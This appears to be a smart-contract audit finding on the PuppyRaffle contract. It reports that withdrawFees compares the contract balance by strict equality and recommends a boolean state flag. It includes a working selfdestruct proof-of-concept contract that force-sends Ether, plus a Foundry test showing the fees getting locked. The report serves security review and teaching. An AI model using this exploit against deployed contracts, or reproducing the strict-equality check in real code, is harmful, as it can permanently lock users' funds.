Summary
Use of strict equalities that can be easily manipulated by an attacker.
Vulnerability Details
function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
https:
Exploit Contract
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract Attacker_Self_Destruct {
address public owner;
PuppyRaffle puppyraffle;
constructor(PuppyRaffle _puppyraffle) payable {
puppyraffle = PuppyRaffle(_puppyraffle);
}
function attack() external {
address payable addr = payable(address(puppyraffle));
selfdestruct(addr);
}
}
Test Case
function test_strict_equality_locked_funds() public playersEntered{
address attacker = makeAddr("attacker");
vm.deal(attacker,1 ether);
vm.startPrank(attacker);
attacker_contract = new Attacker_Self_Destruct{value:1 ether}(puppyRaffle);
attacker_contract.attack();
emit log_uint(address(puppyRaffle).balance);
vm.stopPrank();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
vm.expectRevert(bytes("PuppyRaffle: There are currently players active!"));
puppyRaffle.withdrawFees();
}
Impact
Funds are to be locked within the contract and unable to withdraw to feeAddress render the protocol broken.
Tools Used
Foundry & Manual Review
Recommendations
Don't use strict equality to determine if an account has enough Ether or tokens.
Can create a Boolean variable to check if contest is active, and when winners are selected, set contest to false.